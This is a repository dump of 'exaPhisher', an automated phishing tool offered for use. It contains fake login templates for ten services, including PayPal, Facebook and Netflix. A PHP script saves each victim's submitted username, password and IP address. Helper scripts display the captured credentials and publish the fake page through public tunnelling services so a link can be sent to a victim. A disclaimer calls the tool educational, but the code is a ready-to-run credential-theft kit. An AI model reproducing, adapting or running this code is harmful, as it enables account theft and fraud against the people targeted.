├── src ├── lt.txt ├── template │ ├── github │ │ ├── info.txt │ │ ├── file1.py │ │ ├── github.py │ │ ├── file2.py │ │ └── template.php │ ├── paypal │ │ ├── info.txt │ │ ├── file1.py │ │ ├── paypal.py │ │ ├── file2.py │ │ └── template.php │ ├── twitch │ │ ├── info.txt │ │ ├── file1.py │ │ ├── twitch.py │ │ ├── file2.py │ │ └── template.php │ ├── facebook │ │ ├── info.txt │ │ ├── file1.py │ │ ├── facebook.py │ │ ├── file2.py │ │ └── template.php │ ├── instagram │ │ ├── info.txt │ │ ├── file1.py │ │ ├── instagram.py │ │ ├── file2.py │ │ └── template.php │ ├── linkedin │ │ ├── info.txt │ │ ├── file1.py │ │ ├── linkedin.py │ │ ├── file2.py │ │ └── template.php │ ├── netflix │ │ ├── info.txt │ │ ├── file1.py │ │ ├── netflix.py │ │ ├── file2.py │ │ └── template.php │ ├── pinterest │ │ ├── info.txt │ │ ├── file1.py │ │ ├── pinterest.py │ │ ├── file2.py │ │ └── template.php │ ├── spotify │ │ ├── info.txt │ │ ├── file1.py │ │ ├── spotify.py │ │ ├── file2.py │ │ └── template.php │ └── twitter │ │ ├── info.txt │ │ ├── file1.py │ │ ├── twitter.py │ │ ├── file2.py │ │ └── template.php ├── finish.py ├── __pycache__ │ └── some_func.cpython-312.pyc ├── some_func.py └── setup.py ├── lt.py ├── url.txt ├── lh.py ├── README.md ├── main.py └── setup.sh /src/lt.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/github/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/paypal/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/twitch/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/facebook/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/instagram/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/linkedin/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/netflix/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/pinterest/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/spotify/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/template/twitter/info.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lt.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("lt --port 8080 > url.txt") 3 | -------------------------------------------------------------------------------- /url.txt: -------------------------------------------------------------------------------- 1 | your url is: https://shiny-beds-prove-151-77-197-66.loca.lt 2 | -------------------------------------------------------------------------------- /lh.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run | grep .lhr.life") 3 | -------------------------------------------------------------------------------- /src/finish.py: -------------------------------------------------------------------------------- 1 | import time 2 | time.sleep(5) 3 | print("After type yes , Press Ctrl + C to end the setup!") -------------------------------------------------------------------------------- /src/template/facebook/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/github/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/linkedin/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/netflix/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/paypal/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/spotify/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/twitch/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/twitter/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/instagram/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/template/pinterest/file1.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1") 3 | -------------------------------------------------------------------------------- /src/__pycache__/some_func.cpython-312.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamueleAmato/exaPhisher/HEAD/src/__pycache__/some_func.cpython-312.pyc -------------------------------------------------------------------------------- /src/template/twitch/twitch.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/github/github.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/netflix/netflix.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/paypal/paypal.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/spotify/spotify.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/twitter/twitter.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/facebook/facebook.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/instagram/instagram.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/linkedin/linkedin.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/pinterest/pinterest.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | 4 | def script1(): 5 | os.system("python3 file1.py") 6 | def script2(): 7 | os.system("python3 file2.py") 8 | 9 | if __name__ == '__main__': 10 | p = Process(target=script1) 11 | q = Process(target=script2) 12 | p.start() 13 | q.start() 14 | p.join() 15 | q.join() 16 | -------------------------------------------------------------------------------- /src/template/twitch/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | while True: 3 | #open file in read mode 4 | file = open("info.txt", "r") 5 | 6 | #read the content of file 7 | data = file.read() 8 | 9 | #get the length of the data 10 | if len(data) > 0: 11 | time.sleep(1) 12 | break 13 | class bcolors: 14 | HEADER = '\033[95m' 15 | OKBLUE = '\033[34m' 16 | OKGREEN = '\033[92m' 17 | WARNING = '\033[93m' 18 | FAIL = '\033[91m' 19 | BOLD = '\033[1m' 20 | UNDERLINE = '\033[4m' 21 | ENDC = '\033[0m' 22 | GREY = '\033[90m' 23 | BG_RED = '\033[41m' 24 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 25 | 26 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 27 | ''') 28 | print(data) 29 | print(bcolors.ENDC) 30 | time.sleep(3) 31 | f = open("info.txt", "w") 32 | f.write("") 33 | f.close() -------------------------------------------------------------------------------- /src/template/github/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/netflix/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/paypal/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/spotify/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/twitter/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | while True: 3 | #open file in read mode 4 | file = open("info.txt", "r") 5 | 6 | #read the content of file 7 | data = file.read() 8 | 9 | #get the length of the data 10 | if len(data) > 0: 11 | time.sleep(1) 12 | break 13 | class bcolors: 14 | HEADER = '\033[95m' 15 | OKBLUE = '\033[34m' 16 | OKGREEN = '\033[92m' 17 | WARNING = '\033[93m' 18 | FAIL = '\033[91m' 19 | BOLD = '\033[1m' 20 | UNDERLINE = '\033[4m' 21 | ENDC = '\033[0m' 22 | GREY = '\033[90m' 23 | BG_RED = '\033[41m' 24 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 25 | 26 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 27 | ''') 28 | print(data) 29 | print(bcolors.ENDC) 30 | time.sleep(3) 31 | f = open("info.txt", "w") 32 | f.write("") 33 | f.close() -------------------------------------------------------------------------------- /src/template/facebook/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/instagram/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(4) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/linkedin/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /src/template/pinterest/file2.py: -------------------------------------------------------------------------------- 1 | import time 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[34m' 5 | OKGREEN = '\033[92m' 6 | WARNING = '\033[93m' 7 | FAIL = '\033[91m' 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | ENDC = '\033[0m' 11 | GREY = '\033[90m' 12 | BG_RED = '\033[41m' 13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 14 | 15 | while True: 16 | #open file in read mode 17 | file = open("info.txt", "r") 18 | 19 | #read the content of file 20 | data = file.read() 21 | 22 | #get the length of the data 23 | if len(data) > 0: 24 | time.sleep(1) 25 | break 26 | 27 | 28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+''' 29 | ''') 30 | print(data) 31 | print(bcolors.ENDC) 32 | time.sleep(3) 33 | f = open("info.txt", "w") 34 | f.write("") 35 | f.close() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 |

6 | A easy to use, Automated phishing tool.

7 | 8 | 9 | 10 |

11 | 12 | ## 13 | 14 |

Disclaimer

15 | 16 |

17 | 18 | 19 | 20 | 21 | Any actions and or activities related to exaPhisher is solely your responsibility. The misuse of this tool can result in criminal charges brought against the persons in question. The contributors will not be held responsible in the event any criminal charges be brought against any individuals misusing this tool to break the law. 22 | 23 | This tool contains materials that can be potentially damaging or dangerous for social media. Refer to the laws in your province/country before accessing, using,or in any other way utilizing this in a wrong way. 24 | 25 | This Tool is made for educational purposes only. 26 | 27 | ## 28 | 29 | One command installation: 30 | 31 | ``` 32 | wget https://raw.githubusercontent.com/SamueleAmato/exaPhisher/main/setup.sh && chmod +x setup.sh && ./setup.sh 33 | ``` 34 | 35 | ### Info 36 | ##### Supported website: 37 | - **Instagram** 38 | - **Facebook** 39 | - **PayPal** 40 | - **Twitter** 41 | - **Netflix** 42 | - **Twitch** 43 | - **Github** 44 | - **Spotify** 45 | - **Pinterest** 46 | - **Linkedin** 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | ##### Tested on: 57 | - **Ubuntu** 58 | - **Debian** 59 | - **Arch** 60 | - **Clear linux** 61 | - **Termux** 62 | ##### Dependencies: 63 | 64 | exaPhisher 2022 requires following programs to run properly 65 | - `npm` 66 | - `ngrok` 67 | - `localtunnel` 68 | - `ssh` 69 | 70 | 71 | ## 72 | 73 | ### Installation 74 | 75 | - Linux & Termux 76 | ``` 77 | git clone https://github.com/SamueleAmato/exaPhisher/ 78 | cd exaPhisher 79 | cd src && python3 setup.py 80 | cd .. 81 | python3 main.py 82 | ``` 83 | 84 | - Manual installation
85 | ``` 86 | (if you encounter errors with the automatic installation you can manually install the individual dependencies listed below) 87 | 88 | #npm 89 | #local tunnel from npm (npm instal -g localtunnel) 90 | #php 91 | #ngrok 92 | #openssh 93 | 94 | after installing the packages run "cd src && touch setup_ver.py" on exaPhisher folder. 95 | 96 | ``` 97 | 98 | ## 99 | 100 |

:: Tool ::

101 |

102 |

103 |

104 | 105 |

106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /src/template/twitter/template.php: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 | 5 | 6 | 7 |
8 |
9 | 10 |
11 |
12 | 13 | • 14 | Forgot password 15 |
16 | 17 |
18 | 19 | 20 | 92 | 93 | 94 | 95 | 0) { 99 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 100 | return trim($addr[0]); 101 | } else { 102 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 103 | } 104 | } 105 | else { 106 | return $_SERVER['REMOTE_ADDR']; 107 | } 108 | } 109 | 110 | 111 | $user_ip = getUserIP(); 112 | 113 | 114 | if (isset($_POST['name'])){ 115 | $ip = $user_ip; 116 | $userinput = $_POST['name']; 117 | $userinputt = $_POST['name2']; 118 | $acapo = "\r\n"; 119 | $perip = ("Ip: $ip"); 120 | $perpassword = ("Password: $userinputt"); 121 | $perusername = ("Username: $userinput"); 122 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 123 | fwrite($myfile, $perusername); 124 | fwrite($myfile, $acapo); 125 | fwrite($myfile, $perpassword); 126 | fclose($myfile);} 127 | ?> 128 | 129 | -------------------------------------------------------------------------------- /src/some_func.py: -------------------------------------------------------------------------------- 1 | import os 2 | termuxx = "false" 3 | try: 4 | from src.termux_ver import * 5 | except Exception: 6 | termuxx = "real" 7 | pass 8 | class bcolors: 9 | HEADER = '\033[95m' 10 | OKBLUE = '\033[34m' 11 | OKGREEN = '\033[92m' 12 | WARNING = '\033[93m' 13 | FAIL = '\033[91m' 14 | BOLD = '\033[1m' 15 | UNDERLINE = '\033[4m' 16 | ENDC = '\033[0m' 17 | GREY = '\033[90m' 18 | BG_RED = '\033[41m' 19 | 20 | def clear(): 21 | os.system("clear") 22 | square_version = (bcolors.FAIL+"["+bcolors.ENDC+"v0.1.0"+bcolors.FAIL+"]"+bcolors.ENDC) 23 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC) 24 | square_1 = (bcolors.FAIL+"["+bcolors.ENDC+"1"+bcolors.FAIL+"]"+bcolors.WARNING+" Facebook"+bcolors.ENDC) 25 | square_2 = (bcolors.FAIL+"["+bcolors.ENDC+"2"+bcolors.FAIL+"]"+bcolors.WARNING+" Instagram"+bcolors.ENDC) 26 | square_3 = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" Paypal"+bcolors.ENDC) 27 | square_4 = (bcolors.FAIL+"["+bcolors.ENDC+"4"+bcolors.FAIL+"]"+bcolors.WARNING+" Twitter"+bcolors.ENDC) 28 | square_5 = (bcolors.FAIL+"["+bcolors.ENDC+"5"+bcolors.FAIL+"]"+bcolors.WARNING+" Netflix"+bcolors.ENDC) 29 | square_6 = (bcolors.FAIL+"["+bcolors.ENDC+"6"+bcolors.FAIL+"]"+bcolors.WARNING+" Twitch"+bcolors.ENDC) 30 | square_7 = (bcolors.FAIL+"["+bcolors.ENDC+"7"+bcolors.FAIL+"]"+bcolors.WARNING+" Github"+bcolors.ENDC) 31 | square_8 = (bcolors.FAIL+"["+bcolors.ENDC+"8"+bcolors.FAIL+"]"+bcolors.WARNING+" Spotify"+bcolors.ENDC) 32 | square_9 = (bcolors.FAIL+"["+bcolors.ENDC+"9"+bcolors.FAIL+"]"+bcolors.WARNING+" Pinterest"+bcolors.ENDC) 33 | square_10 = (bcolors.FAIL+"["+bcolors.ENDC+"10"+bcolors.FAIL+"]"+bcolors.WARNING+" Linkedin"+bcolors.ENDC) 34 | 35 | choice = ''' 36 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''Select Any website for your victim '''+bcolors.OKGREEN+'''〉 37 | 38 | '''+square_1+''' 39 | '''+square_2+''' 40 | '''+square_3+''' 41 | '''+square_4+''' 42 | '''+square_5+''' 43 | '''+square_6+''' 44 | '''+square_7+''' 45 | '''+square_8+''' 46 | '''+square_9+''' 47 | '''+square_10+''' 48 | 49 | ''' 50 | 51 | square_1_host = (bcolors.FAIL+"["+bcolors.ENDC+"1"+bcolors.FAIL+"]"+bcolors.WARNING+" Ngrok"+bcolors.ENDC) 52 | square_2_host = (bcolors.FAIL+"["+bcolors.ENDC+"2"+bcolors.FAIL+"]"+bcolors.WARNING+" Localtunnel"+bcolors.ENDC) 53 | square_3_host = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" LocalHost.run"+bcolors.ENDC) 54 | if termuxx != "real": 55 | square_3_host = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" LocalHost.run"+bcolors.ENDC) 56 | 57 | choice2 = ''' 58 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''choose host service '''+bcolors.OKGREEN+'''〉 59 | 60 | '''+square_3_host+bcolors.WARNING+''' only one compatible with termux'''+bcolors.ENDC+''' 61 | ''' 62 | else: 63 | choice2 = ''' 64 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''choose host service '''+bcolors.OKGREEN+'''〉 65 | 66 | '''+square_1_host+bcolors.WARNING+''' not working'''+bcolors.ENDC+''' 67 | '''+square_2_host+bcolors.WARNING+''' not working 68 | '''+square_3_host+bcolors.WARNING+''' '''+bcolors.ENDC+''' 69 | ''' 70 | def banner(): 71 | print(bcolors.WARNING+'''┏┓┏┓┏┳┓┳┳┏┓ 72 | ┗┓┣ ┃ ┃┃┃┃ 73 | ┗┛┗┛ ┻ ┗┛┣┛ 74 | 75 | '''+square_version+bcolors.OKGREEN+''' ╍'''+bcolors.OKBLUE+''' Phishing tool by github.com/SamueleAmato '''+bcolors.OKGREEN+'''╍ 76 | 77 | '''+bcolors.ENDC+bcolors.BG_RED+''':: Developers assumes no liability and are not ::'''+bcolors.ENDC+''' 78 | ''') 79 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | from src.some_func import * 4 | import time 5 | try: 6 | from src.setup_ver import * 7 | except Exception: 8 | print("no dipendencies found, go on https://github.com/RedKatz/exaphisher and copy-paste in termianl setup command for your system") 9 | 10 | 11 | 12 | class bcolors: 13 | HEADER = '\033[95m' 14 | OKBLUE = '\033[34m' 15 | OKGREEN = '\033[92m' 16 | WARNING = '\033[93m' 17 | FAIL = '\033[91m' 18 | BOLD = '\033[1m' 19 | UNDERLINE = '\033[4m' 20 | ENDC = '\033[0m' 21 | GREY = '\033[90m' 22 | BG_RED = '\033[41m' 23 | 24 | 25 | 26 | 27 | clear() 28 | banner() 29 | print(choice) 30 | scelta = input(square_tild+bcolors.OKGREEN+" Select an option: "+bcolors.ENDC) 31 | 32 | clear() 33 | banner() 34 | print(choice2) 35 | scelta2 = input(square_tild+bcolors.OKGREEN+" Select an option: "+bcolors.ENDC) 36 | 37 | clear() 38 | banner() 39 | if scelta2 == "1": 40 | print("\n"+square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.ENDC) 41 | print("\n"+square_tild+bcolors.OKBLUE+" Send link to the victim: "+bcolors.ENDC+"run "+bcolors.UNDERLINE+bcolors.WARNING+"ngrok http localhost:8080"+bcolors.ENDC+" on new terminal"+bcolors.ENDC) 42 | print(bcolors.OKBLUE+''' 43 | '''+square_tild+bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC+''' 44 | 45 | ''') 46 | elif scelta2 == "2": 47 | def script1(): 48 | os.system("python3 lt.py") 49 | 50 | if __name__ == '__main__': 51 | p = Process(target=script1) 52 | p.start() 53 | time.sleep(1.5) 54 | file = open("url.txt", "r") 55 | time.sleep(1.5) 56 | #read the content of file 57 | url = file.read() 58 | print(bcolors.OKBLUE+''' 59 | 